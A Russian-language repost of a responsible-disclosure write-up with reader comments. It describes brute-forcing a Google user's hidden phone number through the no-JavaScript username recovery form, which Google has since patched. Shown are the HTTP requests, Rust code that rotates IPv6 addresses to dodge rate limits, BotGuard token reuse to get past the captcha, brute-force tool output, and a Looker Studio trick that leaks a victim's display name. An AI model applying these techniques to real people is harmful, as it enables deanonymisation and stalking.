
Несколько месяцев назад я отключил JavaScript в своем браузере, чтобы проверить, остались ли в современном интернете сервисы Google, которые все еще работают без JS. Как ни странно, форма восстановления имени пользователя все еще работала!

Это меня удивило, так как я привык думать, что с 2018 года формы восстановления аккаунта требуют JavaScript, потому что они полагаются на botguard решения, которые генерируются из сильно запутанного JavaScript-кода для защиты от злоупотреблений.
Более детальное изучение эндпоинтов
Похоже форма восстановления имени пользователя, позволяет проверить, связан ли номер телефона или адрес электронной почты с определенным отображаемым именем. Для этого требовалось 2 HTTP-запроса:
Запрос:
POST /signin/usernamerecovery HTTP/2
Host:
accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359
Куки и значения gxf получены из HTML исходной страницы.
Ответ:
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location:
https://accounts.google.com/signin/usernamerecovery/name?ess=..<SNIP>..&hl=en
Мы получили значение ess, связанное с указанным номером телефона, которое мы можем использовать для следующего HTTP-запроса.
Запрос:
POST /signin/usernamerecovery/lookup HTTP/2
Host:
accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Origin:
https://accounts.google.com
Content-Type: application/x-www-form-urlencoded
Priority: u=0, i
challengeId=0&challengeType=28&ess=<snip>&bgresponse=js_disabled&GivenName=john&FamilyName=smith
Этот запрос позволяет нам проверить, существует ли учетная запись Google с этим номером телефона, а также отображаемое имя "John Smith".
Ответ (учетная запись не найдена):
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location:
https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=
...
Ответ (учетная запись найдена):
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location:
https://accounts.google.com/signin/usernamerecovery/challenge?ess=
...
Можем ли мы сбрутить это?
Мои первые попытки были тщетными. Казалось, что после нескольких запросов ваш IP-адрес просто попадает под ограничения, и появляется капча.

Может быть, мы можем использовать прокси, чтобы обойти это? Если взять, к примеру, Нидерланды, процесс восстановления пароля предоставляет нам подсказку о номере телефона: •• ••••••03.
Мобильные номера в Нидерландах всегда начинаются с 06, что означает, что нам нужно будет подобрать 6 цифр. 10**6 = 1,000,000 номеров. Это возможно с помощью прокси, но должно быть более эффективное решение.
Что насчет IPv6?
Большинство поставщиков услуг, таких как Vultr, предоставляют диапазоны /64, что дает нам 18,446,744,073,709,551,616 адресов. Теоретически, мы могли бы использовать IPv6 и менять IP-адрес для каждого запроса, обходя это ограничение по скорости.
HTTP-сервер также, похоже, поддерживает IPv6.
~ $ curl -6
https://accounts.google.com
<HTML>
<HEAD>
<TITLE>Moved Temporarily</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<!-- GSE Default Error -->
<H1>Moved Temporarily</H1>
The document has moved <A HREF="
https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F">here</A>
.
</BODY>
</HTML>
Чтобы проверить это, я направил свой IPv6 диапазон через сетевой интерфейс и начал работу над gpb, используя метод local_address из библиотеки reqwest на ClientBuilder для установки случайного IP-адреса из моей подсети.
pub fn get_rand_ipv6(subnet: &str) -> IpAddr {
let (ipv6, prefix_len) = match subnet.parse::<Ipv6Cidr>() {
Ok(cidr) => {
let ipv6 = cidr.first_address();
let length =
cidr.network
_length();
(ipv6, length)
}
Err(_) => {
panic!("invalid IPv6 subnet");
}
};
let ipv6_u128: u128 = u128::from(ipv6);
let rand: u128 = random();
let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);
let host_part = (rand << prefix_len) >> prefix_len;
let result = net_part | host_part;
IpAddr::V6(Ipv6Addr::from(result))
}
pub fn create_client(subnet: &str, user_agent: &str) -> Client {
let ip = get_rand_ipv6(subnet);
Client::builder()
.redirect(redirect::Policy::none())
.danger_accept_invalid_certs(true)
.user_agent(user_agent)
.local_address(Some(ip))
.build().unwrap()
}
В конце концов, PoC у меня заработал, но я всё ещё получал капчу. Казалось, что по какой-то причине IP-адреса датацентров, использующие форму с отключенным JavaScript, всегда получали капчу. Чёрт возьми!
Использование BotGuard токена из формы с JavaScript
Я снова просматривал 2 запроса, пытаясь найти способ обойти это, bgresponse=js_disabled привлёк моё внимание. Я вспомнил, что в форме восстановления аккаунта с включённым JavaScript, токен botguard передавался через параметр bgRequest.

Что если я заменю js_disabled на botguard токен из запроса формы с включённым JavaScript? Я попробовал, и это сработало. Похоже, у botguard токена не было ограничений на количество запросов в форме без JavaScript, но кто все эти случайные люди?
$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000
Starting with 3000 threads...
HIT: +31612345603
HIT: +31623456703
HIT: +31634567803
HIT: +31645678903
HIT: +31656789003
HIT: +31658854003
HIT: +31667890103
HIT: +31678901203
HIT: +31689012303
HIT: +31690123403
HIT: +31701234503
HIT: +31712345603
HIT: +31723456703
Мне понадобилось немного времени, чтобы понять, что это люди, у которых в Google аккаунте указано имя "Henry" без фамилии, а также номер телефона, оканчивающийся на 03. Для таких номеров возвращалось usernamerecovery/challenge с именем Henry и любой фамилией.
Я добавил немного дополнительного кода, чтобы проверить возможное совпадение по имени и случайной фамилии, например, 0fasfk1AFko1wf. Если попадется совпадение, оно будет отфильтровано:
$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000
Starting with 3000 threads...
HIT: +31658854003
Finished.
На практике, маловероятно получить более одного совпадения, так как шанс встретить другого пользователя Google, который имеет такое же отображаемое имя + фамилию + последние 2 цифры и код страны, слишком мал.
Несколько вопросов, которые нужно решить:
У нас есть базовый PoC, но есть ещё некоторые проблемы, которые нужно устранить.
- Как мы можем определить, какой код страны у телефона жертвы?
- Как мы можем узнать отображаемое имя Google аккаунта жертвы?
Как мы можем определить, какой код страны у телефона жертвы?
Довольно интересно, но мы можем определить код страны, основываясь на маске телефона, предоставляемой в процессе восстановления пароля. Фактически, для каждого номера, Google использует "национальный формат" из библиотеки libphonenumbers.
Вот несколько примеров:
{
...
"• (•••) •••-••-••": [
"ru"
],
"•• ••••••••": [
"nl"
],
"••••• ••••••": [
"gb"
],
"(•••) •••-••••": [
"us"
]
}
Я написал скрипт, который собрал национальный формат масок для всех стран в файл mask.json.
Как мы можем узнать отображаемое имя Google аккаунта жертвы?
В 2023 году Google изменил свою политику, показывая имена только при наличии прямого взаимодействия с вашей целью (электронные письма, общие документы и т.д.), постепенно убирая имена с конечных точек. К апрелю 2024 года они обновили свой внутренний сервис FocusBackend, полностью прекратив возврат отображаемых имен для неаутентифицированных аккаунтов, удаляя отображаемые имена практически везде.
После всех этих изменений было сложно найти утечку отображаемого имени, но в итоге, после изучения различных продуктов Google, я обнаружил, что могу создать документ в Looker Studio, передать права владения жертве, и отображаемое имя жертвы будет показано на главной странице без необходимости какого-либо взаимодействия со стороны жертвы.

Оптимизация
С помощью валидации номеров (библиотека libphonenumbers), я смог создать файл format.json с префиксом мобильного телефона, известными кодами областей и количеством цифр для каждой страны.
...
"nl": {
"code": "31",
"area_codes": ["61", "62", "63", "64", "65", "68"],
"digits": [7]
},
...
Также, я внедрил валидацию в реальном времени с использованием библиотеки libphonenumber, чтобы уменьшить количество запросов к Google API для неверных номеров. Для botguard токена я написал скрипт на Go, который использует chromedp, позволяя вам генерировать BotGuard токены с помощью простого API-запроса.
$ curl
http://localhost:7912/api/generate_bgtoken
{
"bgToken": "<generated_botguard_token>"
}
Соединяем все вместе
У нас есть полноценная цепочка атаки, нам осталось только собрать все воедино.
- Получить отображаемое имя Google аккаунта через Looker Studio
- Пройти процедуру forgot password для этого email и получить скрытый номер телефона
- Запустить программу gpb с отображаемым именем и скрытым номером телефона для перебора и выявления полных данных номера телефона

Время, необходимое для перебора номера
Используя сервер стоимостью $0.30 в час с характеристиками уровня потребительских ПК (16 vcpu), я могу выполнять около 40 тысяч проверок в секунду.
Имея только последние 2 цифры из подсказки телефонного номера в процессе восстановления пароля:

Это время также может быть значительно сокращено с помощью подсказок в номере телефона, в процессе сброса пароля в других сервисах, таких как PayPal, которые предоставляют несколько дополнительных цифр (например, +14•••••1779).
Таймлайн
- 2025-04-14 - Отчет отправлен вендору
- 2025-04-15 - Вендор провел триаж отчета
- 2025-04-25 - ? Хорошая находка!
- 2025-05-15 - Жюри присудило $1,337 + сувениры. Обоснование: Вероятность эксплуатации низкая. (лол) (Issue qualified as an abuse-related methodology with high impact).
- 2025-05-15 - Обжалование награды: Согласно таблице VRP по злоупотреблениям, вероятность/эксплуатируемость определяется на основе предпосылок, необходимых для этой атаки, и возможности жертвы обнаружить эксплойтацию. Для этой атаки нет предпосылок, и она не может быть обнаружена жертвой.
- 2025-05-22 - Жюри присудило дополнительные $3,663. Обоснование: Спасибо за ваш отзыв о нашей первоначальной награде. Мы учли ваши замечания и подробно их обсудили. Мы рады сообщить, что повысили вероятность до средней и скорректировали награду до $5,000 (плюс код на сувениры, который мы уже отправили). Спасибо за отчет, мы ждем ваших следующих находок.
- 2025-05-22 - Вендор подтвердил, что готовит патчи.
- 2025-05-22 – Договорились с вендором о раскрытии, на 2025-06-09.
- 2025-06-06 - Вендор подтвердил, что форма восстановления имени пользователя без использования JS полностью исправлена.
- 2025-06-09 - Отчет раскрыт.
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер
Комментарии (3)
RulenBagdasis
14.06.2025 20:20Исследование и статья интересные, но что страшного произойдёт, если вы узнаете, что у какого-то Henry, которого вы знаете только по гугол аккаунту, номер телефона +31658854003?
BugM
14.06.2025 20:20Как минимум множество женщин этого не хочет. Сервис "пробью номер телефона по гуглпочте за 500 рублей" будет пользоваться популярностью. Не RCE конечно, но 5к долларов вполне стоит.
tolick210750
Нужен вход в гугл